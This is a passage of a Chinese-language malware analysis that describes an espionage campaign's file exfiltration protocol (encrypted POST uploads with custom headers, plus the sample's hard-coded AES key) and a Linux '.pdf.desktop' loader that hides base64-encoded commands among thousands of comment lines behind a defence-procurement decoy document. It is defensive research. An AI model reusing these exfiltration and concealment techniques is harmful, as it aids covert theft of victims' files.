data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ecf0be59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKfYuwbscmGBDj871fetv6xhxeVtazgSmesQIwpKcE6PnWEcOPXLplEw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">然后执行 POST 请求</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“/upload?last=true”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">把文件发送到远程服务器，X-Username 用于标记当前用户名，便于服务器识别对应文件属于哪一个用户，X-File-Name 是 base64 编码的文件名。文件内容经过 AES-GCM 算法加密，加密过程是首先获取硬编码在样本中的一个字符串，进行 sha256 计算之后作为 AES 的 key，然后随机生成 12 字节作为 GCM 的 Nonce，并保存在请求中的 X-Nonce 字段，最后加密完毕得到的 16 字节 Tag 数据附加在文件密文尾部，一起发送到远程服务器。</span></span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="upload.png" class="rich_pages wxw-img" data-imgfileid="100000494" data-ratio="0.3490740740740741" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2775dc3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKjghicnz1DHz6iciab80XrHyy28EJlickGLjyrciabib2y3B5Myk8Y7R1arvg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">以上图发送的文件为例，样本中硬编码的 AES.key 原始字符串为</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">617d6e6f298505d2855f3f85e30a971a01bee4fb9417456d2e11090e170e80ea</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，因此能够还原得到下述文件内容。</span></span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img data-imgfileid="100000495" alt="file-content.png" class="rich_pages wxw-img" data-ratio="0.5192604006163328" data-type="png" data-w="649" src="https://wechat2rss.xlab.app/img-proxy/?k=ff814319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKuicmS4sIvlu66jwCDsRtQpN6LzNicxAJHerSaV9bMR2fN82m9m8e4Obg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><h2 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2.8rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 21px;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 20px;">Linux-V2: WebSocket</span></span></strong></h2><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"># Loader</span></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">八月中旬发现了另一个 Linux 版本的样本，入口是一个名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“PROCUREMENT_OF_MANPORTABLE_&amp;_COMPAC.pdf.desktop”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的文件，内容包含三千多行注释，在文件中部包含了实际会执行的指令。执行逻辑基本同 HTTP 版本的样本，只不过 cmd 指令通过 base64 编码。</span></span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img data-imgfileid="100000496" alt="linux-v2.png" class="rich_pages wxw-img" data-ratio="0.5037037037037037" data-type="png" data-w="810" src="https://wechat2rss.xlab.app/img-proxy/?k=2686ef7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKJicvW34uEbUnNbnMVrxqWVmrZcxLI6AcALDqTSaKwBGRbV8b45wOldg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">同样地，打开 Firefox 浏览器访问下述 GoogleDrive 页面欺骗用户，这是一份名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Draft RFI for PDS 18 Aug 25 Final.pdf”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的文件，内容大概是 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“转发关于《征询信息（RFI）》的草案，用于采购“可携带、轻便的被动探测与对抗措施系统（LWPD-CMS）””</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, 